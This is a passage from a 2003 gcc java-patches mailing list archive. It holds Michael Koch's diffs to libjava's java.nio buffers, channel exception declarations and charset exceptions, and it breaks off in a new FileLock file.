FloatBuffer putDouble(int index, double value); } Index: java/nio/IntBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/IntBuffer.java,v retrieving revision 1.1 diff -u -r1.1 IntBuffer.java --- java/nio/IntBuffer.java 18 Nov 2002 13:56:58 -0000 1.1 +++ java/nio/IntBuffer.java 7 Feb 2003 10:24:14 -0000 @@ -39,10 +39,10 @@ import gnu.java.nio.IntBufferImpl; -public abstract class IntBuffer extends Buffer +public abstract class IntBuffer extends Buffer implements Comparable { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; protected int [] backing_buffer; + protected int array_offset; public static IntBuffer allocateDirect(int capacity) { @@ -77,7 +77,13 @@ return wrap(array, 0, array.length); } - final public IntBuffer get(int[] dst, int offset, int length) + IntBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + array_offset = 0; + } + + public IntBuffer get(int[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -87,12 +93,12 @@ return this; } - final public IntBuffer get(int[] dst) + public IntBuffer get (int[] dst) { return get(dst, 0, dst.length); } - final public IntBuffer put(IntBuffer src) + public IntBuffer put (IntBuffer src) { while (src.hasRemaining()) put(src.get()); @@ -100,7 +106,7 @@ return this; } - final public IntBuffer put(int[] src, int offset, int length) + public IntBuffer put (int[] src, int offset, int length) { for (int i = offset; i < offset + length; i++) put(src[i]); @@ -125,7 +131,7 @@ public final int arrayOffset() { - return 0; + return array_offset; } public int hashCode() @@ -172,17 +178,7 @@ return 0; } - public final ByteOrder order() - { - return endian; - } - - public final IntBuffer order(ByteOrder bo) - { - endian = bo; - return this; - } - + public abstract ByteOrder order(); public abstract int get(); public abstract IntBuffer put(int b); public abstract int get(int index); @@ -192,34 +188,4 @@ public abstract IntBuffer slice(); public abstract IntBuffer duplicate(); public abstract IntBuffer asReadOnlyBuffer(); - public abstract ShortBuffer asShortBuffer(); - public abstract CharBuffer asCharBuffer(); - public abstract IntBuffer asIntBuffer(); - public abstract LongBuffer asLongBuffer(); - public abstract FloatBuffer asFloatBuffer(); - public abstract DoubleBuffer asDoubleBuffer(); - public abstract char getChar(); - public abstract IntBuffer putChar(char value); - public abstract char getChar(int index); - public abstract IntBuffer putChar(int index, char value); - public abstract short getShort(); - public abstract IntBuffer putShort(short value); - public abstract short getShort(int index); - public abstract IntBuffer putShort(int index, short value); - public abstract int getInt(); - public abstract IntBuffer putInt(int value); - public abstract int getInt(int index); - public abstract IntBuffer putInt(int index, int value); - public abstract long getLong(); - public abstract IntBuffer putLong(long value); - public abstract long getLong(int index); - public abstract IntBuffer putLong(int index, long value); - public abstract float getFloat(); - public abstract IntBuffer putFloat(float value); - public abstract float getFloat(int index); - public abstract IntBuffer putFloat(int index, float value); - public abstract double getDouble(); - public abstract IntBuffer putDouble(double value); - public abstract double getDouble(int index); - public abstract IntBuffer putDouble(int index, double value); } Index: java/nio/LongBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/LongBuffer.java,v retrieving revision 1.1 diff -u -r1.1 LongBuffer.java --- java/nio/LongBuffer.java 18 Nov 2002 13:56:58 -0000 1.1 +++ java/nio/LongBuffer.java 7 Feb 2003 10:24:14 -0000 @@ -39,10 +39,10 @@ import gnu.java.nio.LongBufferImpl; -public abstract class LongBuffer extends Buffer +public abstract class LongBuffer extends Buffer implements Comparable { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; protected long [] backing_buffer; + protected int array_offset; public static LongBuffer allocateDirect(int capacity) { @@ -77,7 +77,13 @@ return wrap(array, 0, array.length); } - final public LongBuffer get(long[] dst, int offset, int length) + LongBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + array_offset = 0; + } + + public LongBuffer get (long[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -87,12 +93,12 @@ return this; } - final public LongBuffer get(long[] dst) + public LongBuffer get (long[] dst) { return get(dst, 0, dst.length); } - final public LongBuffer put(LongBuffer src) + public LongBuffer put (LongBuffer src) { while (src.hasRemaining()) put(src.get()); @@ -100,7 +106,7 @@ return this; } - final public LongBuffer put(long[] src, int offset, int length) + public LongBuffer put (long[] src, int offset, int length) { for (int i = offset; i < offset + length; i++) put(src[i]); @@ -125,7 +131,7 @@ public final int arrayOffset() { - return 0; + return array_offset; } public int hashCode() @@ -173,17 +179,7 @@ return 0; } - public final ByteOrder order() - { - return endian; - } - - public final LongBuffer order(ByteOrder bo) - { - endian = bo; - return this; - } - + public abstract ByteOrder order(); public abstract long get(); public abstract java.nio. LongBuffer put(long b); public abstract long get(int index); @@ -193,34 +189,4 @@ public abstract LongBuffer slice(); public abstract LongBuffer duplicate(); public abstract LongBuffer asReadOnlyBuffer(); - public abstract ShortBuffer asShortBuffer(); - public abstract CharBuffer asCharBuffer(); - public abstract IntBuffer asIntBuffer(); - public abstract LongBuffer asLongBuffer(); - public abstract FloatBuffer asFloatBuffer(); - public abstract DoubleBuffer asDoubleBuffer(); - public abstract char getChar(); - public abstract LongBuffer putChar(char value); - public abstract char getChar(int index); - public abstract LongBuffer putChar(int index, char value); - public abstract short getShort(); - public abstract LongBuffer putShort(short value); - public abstract short getShort(int index); - public abstract LongBuffer putShort(int index, short value); - public abstract int getInt(); - public abstract LongBuffer putInt(int value); - public abstract int getInt(int index); - public abstract LongBuffer putInt(int index, int value); - public abstract long getLong(); - public abstract LongBuffer putLong(long value); - public abstract long getLong(int index); - public abstract LongBuffer putLong(int index, long value); - public abstract float getFloat(); - public abstract LongBuffer putFloat(float value); - public abstract float getFloat(int index); - public abstract LongBuffer putFloat(int index, float value); - public abstract double getDouble(); - public abstract LongBuffer putDouble(double value); - public abstract double getDouble(int index); - public abstract LongBuffer putDouble(int index, double value); } Index: java/nio/ShortBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ShortBuffer.java,v retrieving revision 1.1 diff -u -r1.1 ShortBuffer.java --- java/nio/ShortBuffer.java 18 Nov 2002 13:56:58 -0000 1.1 +++ java/nio/ShortBuffer.java 7 Feb 2003 10:24:14 -0000 @@ -39,10 +39,10 @@ import gnu.java.nio.ShortBufferImpl; -public abstract class ShortBuffer extends Buffer +public abstract class ShortBuffer extends Buffer implements Comparable { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; protected short [] backing_buffer; + protected int array_offset; public static ShortBuffer allocateDirect(int capacity) { @@ -77,7 +77,13 @@ return wrap(array, 0, array.length); } - final public ShortBuffer get(short[] dst, int offset, int length) + ShortBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + array_offset = 0; + } + + public ShortBuffer get (short[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -87,12 +93,12 @@ return this; } - final public ShortBuffer get(short[] dst) + public ShortBuffer get (short[] dst) { return get(dst, 0, dst.length); } - final public ShortBuffer put(ShortBuffer src) + public ShortBuffer put (ShortBuffer src) { while (src.hasRemaining()) put(src.get()); @@ -100,7 +106,7 @@ return this; } - final public ShortBuffer put(short[] src, int offset, int length) + public ShortBuffer put (short[] src, int offset, int length) { for (int i = offset; i < offset + length; i++) put(src[i]); @@ -125,7 +131,7 @@ public final int arrayOffset() { - return 0; + return array_offset; } public int hashCode() @@ -173,17 +179,7 @@ return 0; } - public final ByteOrder order() - { - return endian; - } - - public final ShortBuffer order(ByteOrder bo) - { - endian = bo; - return this; - } - + public abstract ByteOrder order (); public abstract short get(); public abstract java.nio. ShortBuffer put(short b); public abstract short get(int index); @@ -193,34 +189,4 @@ public abstract ShortBuffer slice(); public abstract ShortBuffer duplicate(); public abstract ShortBuffer asReadOnlyBuffer(); - public abstract ShortBuffer asShortBuffer(); - public abstract CharBuffer asCharBuffer(); - public abstract IntBuffer asIntBuffer(); - public abstract LongBuffer asLongBuffer(); - public abstract FloatBuffer asFloatBuffer(); - public abstract DoubleBuffer asDoubleBuffer(); - public abstract char getChar(); - public abstract ShortBuffer putChar(char value); - public abstract char getChar(int index); - public abstract ShortBuffer putChar(int index, char value); - public abstract short getShort(); - public abstract ShortBuffer putShort(short value); - public abstract short getShort(int index); - public abstract ShortBuffer putShort(int index, short value); - public abstract int getInt(); - public abstract ShortBuffer putInt(int value); - public abstract int getInt(int index); - public abstract ShortBuffer putInt(int index, int value); - public abstract long getLong(); - public abstract ShortBuffer putLong(long value); - public abstract long getLong(int index); - public abstract ShortBuffer putLong(int index, long value); - public abstract float getFloat(); - public abstract ShortBuffer putFloat(float value); - public abstract float getFloat(int index); - public abstract ShortBuffer putFloat(int index, float value); - public abstract double getDouble(); - public abstract ShortBuffer putDouble(double value); - public abstract double getDouble(int index); - public abstract ShortBuffer putDouble(int index, double value); } --Boundary-00=_ku4Q++GM87fknsx-- From java-patches-return-6021-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 10:34:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26014 invoked by alias); 7 Feb 2003 10:34:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25984 invoked from network); 7 Feb 2003 10:34:23 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 7 Feb 2003 10:34:23 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-057.ewetel.net [80.228.74.57]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h17AYJbs006252 for ; Fri, 7 Feb 2003 11:34:21 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio - Exception throwing Date: Fri, 7 Feb 2003 11:29:37 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Rq4Q+WOfoeyznh4" Message-Id: <200302071129.37720.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Rq4Q+WOfoeyznh4 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch fixes some method deklarations in java.nio to trhow the=20 correct exceptions. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQE+Q4qRWSOgCCdjSDsRAuikAKCGe0/JS6qP+xOip63NaG3N6hj4mACVE5h2 yO0cONQFkTIcHinThgk97g=3D=3D =3D+ONh =2D----END PGP SIGNATURE----- --Boundary-00=_Rq4Q+WOfoeyznh4 Content-Type: text/x-diff; charset="iso-8859-15"; name="java.nio-exceptions-diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java.nio-exceptions-diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1663 diff -u -r1.1663 ChangeLog --- ChangeLog 4 Feb 2003 21:07:15 -0000 1.1663 +++ ChangeLog 7 Feb 2003 10:21:32 -0000 @@ -1,3 +1,38 @@ +2003-02-07 Michael Koch + + * java/nio/channels/DatagramChannel.java + (write): Throws IOException. + (connect): Throws IOException. + (disconnect): Throws IOException. + (read): Throws IOException. + (receive): Throws IOException. + (send): Throws IOException. + * java/nio/channels/Pipe.java + (open): Throws IOException. + * java/nio/channels/SelectableChannel.java + (configureBlocking): Throws IOException. + * java/nio/channels/ServerSocketChannel.java + (accept): Throws IOException. + * java/nio/channels/SocketChannel.java + (SocketChannel): Implements ByteChannel, ScatteringByteChannel, + GatheringByteChannel. + (read): Throws IOException. + (write): Throws IOException. + (finishConnect): Throws IOException. + * java/nio/channels/spi/AbstractInterruptibleChannel.java + (end): Throws AsynchronousCloseException. + * java/nio/channels/spi/AbstractSelectableChannel.java + (configureBlocking): Throws IOException. + (implCloseChannel): Throws IOException. + (implCloseSelectableChannel): Throws IOException. + (implConfigureBlocking): Throws IOException. + * java/nio/channels/spi/SelectorProvider.java + (openDatagramChannel): Throws IOException. + (openPipe): Throws IOException. + (openSelector): Throws IOException. + (openServerSocketChannel): Throws IOException. + (openSocketChannel): Throws IOException. + 2003-02-04 Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing Index: java/nio/channels/DatagramChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/DatagramChannel.java,v retrieving revision 1.5 diff -u -r1.5 DatagramChannel.java --- java/nio/channels/DatagramChannel.java 29 Nov 2002 12:32:17 -0000 1.5 +++ java/nio/channels/DatagramChannel.java 7 Feb 2003 10:21:32 -0000 @@ -88,7 +88,7 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException The channel's socket is not connected. */ - public final long write (ByteBuffer[] srcs) + public final long write (ByteBuffer[] srcs) throws IOException { long b = 0; @@ -111,14 +111,15 @@ * @exception SecurityException If a security manager has been installed and * it does not permit datagrams to be sent to the given address. */ - public abstract DatagramChannel connect (SocketAddress remote); + public abstract DatagramChannel connect (SocketAddress remote) + throws IOException; /** * Disonnects this channel's socket. * * @exception IOException If an error occurs */ - public abstract DatagramChannel disconnect (); + public abstract DatagramChannel disconnect () throws IOException; /** * Tells whether or not this channel's socket is connected. @@ -131,7 +132,7 @@ /** * Reads data from this channel. */ - public abstract int read (ByteBuffer dst); + public abstract int read (ByteBuffer dst) throws IOException; /** * Reads data from this channel. @@ -139,7 +140,8 @@ * @exception IOException If an error occurs. * @exception NotYetConnectedException The channel's socket is not connected. */ - public abstract long read (ByteBuffer[] dsts, int offset, int length); + public abstract long read (ByteBuffer[] dsts, int offset, int length) + throws IOException; /** * Receives a datagram via this channel. @@ -154,7 +156,7 @@ * @exception SecurityException If a security manager has been installed and * it does not permit datagrams to be sent to the given address. */ - public abstract SocketAddress receive (ByteBuffer dst); + public abstract SocketAddress receive (ByteBuffer dst) throws IOException; /** * Sends a datagram via this channel. @@ -169,7 +171,8 @@ * @exception SecurityException If a security manager has been installed and * it does not permit datagrams to be sent to the given address. */ - public abstract int send (ByteBuffer src, SocketAddress target); + public abstract int send (ByteBuffer src, SocketAddress target) + throws IOException; /** * Retrieves the channel's socket. @@ -182,7 +185,7 @@ * @exception IOException If an error occurs. * @exception NotYetConnectedException The channel's socket is not connected. */ - public abstract int write (ByteBuffer src); + public abstract int write (ByteBuffer src) throws IOException; /** * Writes data to this channel. @@ -190,7 +193,8 @@ * @exception IOException If an error occurs. * @exception NotYetConnectedException The channel's socket is not connected. */ - public abstract long write (ByteBuffer[] srcs, int offset, int length); + public abstract long write (ByteBuffer[] srcs, int offset, int length) + throws IOException; /** * Retrieves the valid operations for this channel. Index: java/nio/channels/Pipe.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/Pipe.java,v retrieving revision 1.2 diff -u -r1.2 Pipe.java --- java/nio/channels/Pipe.java 13 Nov 2002 13:52:47 -0000 1.2 +++ java/nio/channels/Pipe.java 7 Feb 2003 10:21:32 -0000 @@ -37,6 +37,7 @@ package java.nio.channels; +import java.io.IOException; import java.nio.channels.spi.AbstractSelectableChannel; import java.nio.channels.spi.SelectorProvider; @@ -104,7 +105,7 @@ * * @exception IOException If an error occurs */ - public static Pipe open() + public static Pipe open() throws IOException { return SelectorProvider.provider ().openPipe(); } Index: java/nio/channels/SelectableChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/SelectableChannel.java,v retrieving revision 1.2 diff -u -r1.2 SelectableChannel.java --- java/nio/channels/SelectableChannel.java 13 Nov 2002 13:52:47 -0000 1.2 +++ java/nio/channels/SelectableChannel.java 7 Feb 2003 10:21:32 -0000 @@ -37,6 +37,7 @@ package java.nio.channels; +import java.io.IOException; import java.nio.channels.spi.AbstractInterruptibleChannel; import java.nio.channels.spi.SelectorProvider; @@ -67,7 +68,8 @@ * is registered with one or more selectors. * @exception IOException If an error occurs. */ - public abstract SelectableChannel configureBlocking (boolean block); + public abstract SelectableChannel configureBlocking (boolean block) + throws IOException; /** * Tells whether this channel is blocking or not. Index: java/nio/channels/ServerSocketChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/ServerSocketChannel.java,v retrieving revision 1.5 diff -u -r1.5 ServerSocketChannel.java --- java/nio/channels/ServerSocketChannel.java 20 Nov 2002 16:19:08 -0000 1.5 +++ java/nio/channels/ServerSocketChannel.java 7 Feb 2003 10:21:32 -0000 @@ -73,7 +73,7 @@ * @exception SecurityException If a security manager has been installed and * it does not permit access to the remote endpoint of the new connection. */ - public abstract SocketChannel accept (); + public abstract SocketChannel accept () throws IOException; /** * Retrieves the channels socket. Index: java/nio/channels/SocketChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/SocketChannel.java,v retrieving revision 1.5 diff -u -r1.5 SocketChannel.java --- java/nio/channels/SocketChannel.java 29 Nov 2002 12:32:17 -0000 1.5 +++ java/nio/channels/SocketChannel.java 7 Feb 2003 10:21:32 -0000 @@ -49,6 +49,7 @@ * @since 1.4 */ abstract public class SocketChannel extends AbstractSelectableChannel + implements ByteChannel, ScatteringByteChannel, GatheringByteChannel { /** * Initializes this socket. @@ -100,7 +101,7 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public final long read (ByteBuffer[] dsts) + public final long read (ByteBuffer[] dsts) throws IOException { long b = 0; @@ -118,7 +119,7 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public final long write (ByteBuffer[] dsts) + public final long write (ByteBuffer[] dsts) throws IOException { long b = 0; @@ -144,7 +145,7 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public abstract int read (ByteBuffer dst); + public abstract int read (ByteBuffer dst) throws IOException; /** * Connects the channel's socket to the remote address. @@ -179,7 +180,7 @@ * @exception NoConnectionPendingException If this channel is not connected * and a connection operation has not been initiated. */ - public abstract boolean finishConnect (); + public abstract boolean finishConnect () throws IOException; /** * Tells whether or not the channel's socket is connected. @@ -197,7 +198,8 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public abstract long read (ByteBuffer[] dsts, int offset, int length); + public abstract long read (ByteBuffer[] dsts, int offset, int length) + throws IOException; /** * Retrieves the channel's socket. @@ -210,7 +212,7 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public abstract int write (ByteBuffer src); + public abstract int write (ByteBuffer src) throws IOException; /** * Writes data to the channel. @@ -218,5 +220,6 @@ * @exception IOException If an error occurs * @exception NotYetConnectedException If this channel is not yet connected. */ - public abstract long write (ByteBuffer[] srcs, int offset, int length); + public abstract long write (ByteBuffer[] srcs, int offset, int length) + throws IOException; } Index: java/nio/channels/spi/AbstractInterruptibleChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/spi/AbstractInterruptibleChannel.java,v retrieving revision 1.2 diff -u -r1.2 AbstractInterruptibleChannel.java --- java/nio/channels/spi/AbstractInterruptibleChannel.java 13 Nov 2002 13:52:47 -0000 1.2 +++ java/nio/channels/spi/AbstractInterruptibleChannel.java 7 Feb 2003 10:21:32 -0000 @@ -38,6 +38,7 @@ package java.nio.channels.spi; import java.io.IOException; +import java.nio.channels.AsynchronousCloseException; import java.nio.channels.Channel; import java.nio.channels.InterruptibleChannel; @@ -84,6 +85,7 @@ * I/O operation was interrupted. */ protected final void end (boolean completed) + throws AsynchronousCloseException { } Index: java/nio/channels/spi/AbstractSelectableChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/spi/AbstractSelectableChannel.java,v retrieving revision 1.4 diff -u -r1.4 AbstractSelectableChannel.java --- java/nio/channels/spi/AbstractSelectableChannel.java 20 Nov 2002 16:19:08 -0000 1.4 +++ java/nio/channels/spi/AbstractSelectableChannel.java 7 Feb 2003 10:21:32 -0000 @@ -75,6 +75,7 @@ * Adjusts this channel's blocking mode. */ public final SelectableChannel configureBlocking (boolean block) + throws IOException { synchronized (LOCK) { @@ -90,7 +91,7 @@ * * @exception IOException If an error occurs */ - protected final void implCloseChannel () + protected final void implCloseChannel () throws IOException { implCloseSelectableChannel (); } @@ -98,12 +99,13 @@ /** * Closes this selectable channel. */ - protected abstract void implCloseSelectableChannel (); + protected abstract void implCloseSelectableChannel () throws IOException; /** * Adjusts this channel's blocking mode. */ - protected abstract void implConfigureBlocking (boolean block); + protected abstract void implConfigureBlocking (boolean block) + throws IOException; /** * Tells whether or not every I/O operation on this channel will block Index: java/nio/channels/spi/SelectorProvider.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/spi/SelectorProvider.java,v retrieving revision 1.2 diff -u -r1.2 SelectorProvider.java --- java/nio/channels/spi/SelectorProvider.java 13 Nov 2002 13:52:47 -0000 1.2 +++ java/nio/channels/spi/SelectorProvider.java 7 Feb 2003 10:21:32 -0000 @@ -38,6 +38,7 @@ package java.nio.channels.spi; /* import gnu.java.nio.channels.SelectorProviderImpl; */ +import java.io.IOException; import java.nio.channels.DatagramChannel; import java.nio.channels.Pipe; import java.nio.channels.ServerSocketChannel; @@ -67,27 +68,28 @@ /** * Opens a datagram channel. */ - public abstract DatagramChannel openDatagramChannel (); + public abstract DatagramChannel openDatagramChannel () throws IOException; /** * Opens a pipe. */ - public abstract Pipe openPipe (); + public abstract Pipe openPipe () throws IOException; /** * Opens a selector. */ - public abstract AbstractSelector openSelector (); + public abstract AbstractSelector openSelector () throws IOException; /** * Opens a server socket channel. */ - public abstract ServerSocketChannel openServerSocketChannel (); + public abstract ServerSocketChannel openServerSocketChannel () + throws IOException; /** * Opens a socket channel. */ - public abstract SocketChannel openSocketChannel (); + public abstract SocketChannel openSocketChannel () throws IOException; /** * Returns the system-wide default selector provider for this invocation --Boundary-00=_Rq4Q+WOfoeyznh4-- From java-patches-return-6022-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 10:34:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26040 invoked by alias); 7 Feb 2003 10:34:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26005 invoked from network); 7 Feb 2003 10:34:24 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 7 Feb 2003 10:34:24 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-057.ewetel.net [80.228.74.57]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h17AYJbu006252 for ; Fri, 7 Feb 2003 11:34:22 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio - exception rewrite Date: Fri, 7 Feb 2003 11:30:57 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_hr4Q+kqQrHkAKBP" Message-Id: <200302071130.57284.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_hr4Q+kqQrHkAKBP Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have rewritten two exceptions in java.nio to match the ones from SUN=20 for serialization. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Q4rhWSOgCCdjSDsRAhL6AJ0Qk5+YcwdXepnpQT7Q0bcYb4Q9SACdFi9z IH+wWBI0BzFUPdhyXgKc5v4=3D =3D+cwd =2D----END PGP SIGNATURE----- --Boundary-00=_hr4Q+kqQrHkAKBP Content-Type: text/x-diff; charset="iso-8859-15"; name="java.nio-exception-rewrite.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java.nio-exception-rewrite.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1663 diff -u -r1.1663 ChangeLog --- ChangeLog 4 Feb 2003 21:07:15 -0000 1.1663 +++ ChangeLog 7 Feb 2003 10:23:29 -0000 @@ -1,3 +1,16 @@ +2003-02-07 Michael Koch + + * java/nio/charset/IllegalCharsetNameException.java + (serialVersionUID): New member variable. + (charsetName): New member variable. + (IllegalCharsetException): New implementation. + (getCharsetName): New implementation. + * java/nio/charset/UnsupportedCharsetException.java + (serialVersionUID): New member variable. + (charsetName): New member variable. + (UnsupportedCharsetException): New implementation. + (getCharsetName): New implementation. + 2003-02-04 Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing Index: java/nio/charset/IllegalCharsetNameException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/charset/IllegalCharsetNameException.java,v retrieving revision 1.2 diff -u -r1.2 IllegalCharsetNameException.java --- java/nio/charset/IllegalCharsetNameException.java 11 Nov 2002 07:12:07 -0000 1.2 +++ java/nio/charset/IllegalCharsetNameException.java 7 Feb 2003 10:23:29 -0000 @@ -38,16 +38,25 @@ package java.nio.charset; /** + * @author Michael Koch * @since 1.4 */ public class IllegalCharsetNameException extends IllegalArgumentException { /** + * Compatible with JDK 1.4+ + */ + private static final long serialVersionUID = 1457525358470002989L; + + String charsetName; + + /** * Creates the exception */ public IllegalCharsetNameException (String charsetName) { - super (charsetName); + super (); + this.charsetName = charsetName; } /** @@ -55,6 +64,6 @@ */ public String getCharsetName () { - return getMessage (); + return charsetName; } } Index: java/nio/charset/UnsupportedCharsetException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/charset/UnsupportedCharsetException.java,v retrieving revision 1.2 diff -u -r1.2 UnsupportedCharsetException.java --- java/nio/charset/UnsupportedCharsetException.java 11 Nov 2002 07:12:07 -0000 1.2 +++ java/nio/charset/UnsupportedCharsetException.java 7 Feb 2003 10:23:29 -0000 @@ -38,16 +38,25 @@ package java.nio.charset; /** + * @author Michael Koch * @since 1.4 */ public class UnsupportedCharsetException extends IllegalArgumentException { /** + * Compatible with JDK 1.4+ + */ + private static final long serialVersionUID = 1490765524727386367L; + + String charsetName; + + /** * Creates the exception */ public UnsupportedCharsetException (String charsetName) { - super (charsetName); + super (); + this.charsetName = charsetName; } /** @@ -55,6 +64,6 @@ */ public String getCharsetName () { - return getMessage (); + return charsetName; } } --Boundary-00=_hr4Q+kqQrHkAKBP-- From java-patches-return-6023-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 10:34:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26161 invoked by alias); 7 Feb 2003 10:34:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26144 invoked from network); 7 Feb 2003 10:34:25 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 7 Feb 2003 10:34:25 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-057.ewetel.net [80.228.74.57]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h17AYJbw006252 for ; Fri, 7 Feb 2003 11:34:23 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio - new files Date: Fri, 7 Feb 2003 11:33:41 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Fu4Q+4v7Z1Dl3Kr" Message-Id: <200302071133.41221.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Fu4Q+4v7Z1Dl3Kr Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, The attached patch with 2 new files is needed in java.nio. They are not compiled yet by default. This will come later. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Q4uFWSOgCCdjSDsRAgVtAJ9b1eStj2MocT/vgyf1ZTNNuRnv9gCgnBNx BmSE4OQgcdY1z1JbuaLBh1Q=3D =3DxvqX =2D----END PGP SIGNATURE----- --Boundary-00=_Fu4Q+4v7Z1Dl3Kr Content-Type: text/x-diff; charset="iso-8859-15"; name="java.nio-new.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java.nio-new.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1663 diff -u -r1.1663 ChangeLog --- ChangeLog 4 Feb 2003 21:07:15 -0000 1.1663 +++ ChangeLog 7 Feb 2003 10:22:36 -0000 @@ -1,3 +1,8 @@ +2003-02-07 Michael Koch + + * gnu/java/nio/FileLockImpl.java, + java/nio/channels/FileLock.java: New files. + 2003-02-04 Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing Index: gnu/java/nio/FileLockImpl.java =================================================================== RCS file: gnu/java/nio/FileLockImpl.java diff -N gnu/java/nio/FileLockImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/java/nio/FileLockImpl.java 7 Feb 2003 10:22:36 -0000 @@ -0,0 +1,63 @@ +/* FileChannelImpl.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU 